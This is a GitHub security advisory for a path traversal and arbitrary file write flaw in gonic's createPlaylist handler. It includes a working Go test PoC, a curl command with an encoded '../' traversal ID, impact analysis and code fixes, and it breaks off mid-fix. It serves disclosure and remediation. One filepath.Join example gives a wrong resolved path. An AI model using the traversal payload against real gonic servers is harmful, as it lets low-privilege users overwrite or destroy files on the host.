GitHub Advisoryadvisory · Go

GHSA-4gxv-p5g5-j7w7 gonic has arbitrary file write in createPlaylist: any authenticated user can write playlist M3U content to attacker-controlled path on the host

HIGH Published 2026-06-26 Modified 2026-06-26 Official page ↗
Aliases
CVE-2026-49340
Ecosystem
Go
Packages
go.senan.xyz/gonic
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Weaknesses
CWE-22, CWE-697, CWE-732
Reviewed
2026-06-26

Affected packages

• Go go.senan.xyz/gonic: < 0.21.0 → fixed in 0.21.0

Description

Summary A logic error in `ServeCreateOrUpdatePlaylist` allows any authenticated Subsonic user (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with `0o777` permissions. The bug is independent of the playlist ownership IDOR fixed in `6dd71e6`: it is an unreachable guard clause combined with no path containment in `Store.Write`. Root cause — unreachable guard clause `server/ctrlsubsonic/handlers_playlist.go:74-90`: ```go func (c *Controller) ServeCreateOrUpdatePlaylist(r *http.Request) *spec.Response { user := r.Context().Value(CtxUser).(*db.User) params := r.Context().Value(CtxParams).(params.Params) playlistID, _ := params.GetFirstID("id", "playlistId") playlistPath := playlistIDDecode(playlistID) // attacker-controlled, base64-decoded var playlist playlistp.Playlist if playlistPath != "" { if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil { // ^^^^^^^^^^^^^^^^^^^^^^^^^ // this condition is UNREACHABLE playlist = *pl } } if playlist.UserID != 0 && playlist.UserID != user.ID { return spec.NewError(50, "you aren't allowed update that user's playlist") } ... ``` `playlist.Store.Read` (`playlist/playlist.go:88-144`) returns either `(*Playlist, nil)` on success or `(nil, err)` on any failure path. There is no return path of `(non-nil, non-nil-err)`. So the inner branch `err != nil && pl != nil` is always false, the `playlist = *pl` assignment never executes, and `playlist` stays at its zero value with `UserID = 0`. The subsequent guard `playlist.UserID != 0 && playlist.UserID != user.ID` simplifies to `false && (anything)` and always passes, regardless of who owns the target path. Root cause — no path containment in `Store.Write` `playlist/playlist.go:146-160`: ```go func (s *Store) Write(relPath string, playlist *Playlist) error { defer lock(&s.mu)() if err := sanityCheck(s.basePath); err != nil { return err } absPath := filepath.Join(s.basePath, relPath) if err := os.MkdirAll(filepath.Dir(absPath), 0o777); err != nil { // world-writable! return fmt.Errorf("make m3u base dir: %w", err) } file, err := os.OpenFile(absPath, os.O_RDWR|os.O_CREATE, 0o666) // create-or-open ... if err := file.Truncate(0); err != nil { // wipe existing ... } ``` `filepath.Join("/var/lib/gonic/playlists", "../../etc/cron.daily/anything")` resolves to `/var/lib/gonic/etc/cron.daily/anything` — Go's `filepath.Join` does NOT prevent `..` traversal. Combined with the missing guard above, any authenticated user controls the destination path. Live PoC — passing Go test Drop this into `server/ctrlsubsonic/handlers_playlist_write_traversal_test.go` and run `go test -run TestCreatePlaylistArbitraryWrite_RawPath ./server/ctrlsubsonic/ -v`: ```go package ctrlsubsonic import ( "net/url" "os" "path/filepath" "testing" "github.com/stretchr/testify/require" ) func TestCreatePlaylistArbitraryWrite_RawPath(t *testing.T) { f := newFixture(t) // playlistStore.basePath = /playlists/. A relPath of "../injected.m3u" // resolves under the parent dir — escaping the playlists/ subtree. traversalRel := filepath.Join("..", "injected.m3u") traversalID := playlistIDEncode(traversalRel).String() // f.alt is the NON-ADMIN user (ID=2). resp := f.query(t, f.contr.ServeCreateOrUpdatePlaylist, f.alt, url.Values{ "id": {traversalID}, "name": {"injected-by-low-priv-user"}, }) t.Logf("resp: %+v", string(resp)) tmpDir := filepath.Dir(f.contr.musicPaths[0].Path) target := filepath.Join(tmpDir, "injected.m3u") stat, err := os.Stat(target) require.NoError(t, err, "VULNERABLE if the file exists outside playlists/") require.False(t, stat.IsDir()) contents, err := os.ReadFile(target) require.NoError(t, err) t.Logf("VULNERABLE — file written at %s\n%s", target, string(contents)) } ``` Test output against current `master` HEAD `6dd71e6`: ``` === RUN TestCreatePlaylistArbitraryWrite_RawPath resp: {"subsonic-response":{"status":"ok","version":"1.15.0","type":"gonic","openSubsonic":true, "playlist":{"id":"pl-Li4vaW5qZWN0ZWQubTN1","name":"injected-by-low-priv-user",..., "owner":"alt","songCount":0,...}}} VULNERABLE — file written at /var/folders/.../TestCreatePlaylistArbitraryWrite_RawPath.../001/injected.m3u #GONIC-NAME:"injected-by-low-priv-user" #GONIC-COMMENT:"" #GONIC-IS-PUBLIC:"false" --- PASS: TestCreatePlaylistArbitraryWrite_RawPath (0.05s) ``` The file was created at `/injected.m3u` while the playlist store's basePath is `/playlists/` — write succeeded outside the intended directory. HTTP-level reproduction ```bash Target a writable path on the gonic host. Encode "../../../var/log/anything.log" (note: gonic must be able to write there) RAW='../../../var/log/anything.log' ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '/+' '_-')" curl -s "http://gonic-host/rest/createPlaylist.view?u=lowpriv&p=pass&c=poc&v=1.16.1&f=json&id=$ID&name=injected" \ | python3 -m json.tool Response: {"subsonic-response":{"status":"ok",...}} Side effect: file written at /var/log/anything.log with M3U structured content, intermediate directories created with 0o777 permissions. ``` Impact • Integrity: Any authenticated user can overwrite (truncate-and-rewrite) any file the gonic process has write access to: gonic's own SQLite database, configuration files, log files, cache, audit trails, M3U files of other users. The write is M3U-structured (`#GONIC-NAME: / #GONIC-COMMENT: / #GONIC-IS-PUBLIC:` attributes, plus song paths), but the `name` value is attacker-controlled and structurally placed (no newline injection; `strconv.Quote` escapes specials). • Availability: Overwriting `gonic.db` (or wherever the SQLite file lives) destroys all user state — accounts, ratings, playlists, etc. The write is unrecoverable. • Filesystem state: `MkdirAll(dir, 0o777)` creates intermediate directories as world-writable, regardless of the umask, which is itself a hardening issue alongside the traversal. • Trust boundary: gonic explicitly supports a non-admin user role (`ServeCreateUser`, the `IsAdmin` flag). This bug grants every non-admin user a destructive filesystem-write primitive into the host process's working set. • Content control is structural (cannot inject newlines into the M3U attribute lines), so direct shell/web-shell injection requires a target file format that tolerates the `#GONIC-NAME:"..."` header. Pure-destructive primitives (overwrite/truncate, fill-by-mkdir) work universally. CVSS `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` = 8.1 High Suggested fix Two changes, either of which mitigates this: 1. Fix the unreachable guard at `handlers_playlist.go:83`: ```go // Currently (BROKEN): if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil { playlist = *pl } // Fixed: if pl, err := c.playlistStore.Read(playlistPath); err == nil && pl != nil { playlist = *pl } ``` This restores the ownership check for the case where the path resolves to an existing playlist. It does NOT fix the case where `playlistPath` points to a non-existent file (the Read fails, `playlist` stays zero-valued, ownership check still bypassed). So the second fix is also needed. 2. Add path containment in `playlist/playlist.go::Store.Write` (same helper proposed in the companion advisory): ```go absPath := filepath.Join(s.basePath, relPath) rel, err := filepath.Rel(s.basePath, absPath) if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) { return fmt.Errorf…

Related

Alias · CVE (1)

  • CVE-2026-49340 gonic is a music streaming server / free-software subsonic server API implementation. vulnerability

Weakness · CWE (3)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
  • CWE-697 Incorrect Comparison weakness
  • CWE-732 Incorrect Permission Assignment for Critical Resource weakness

References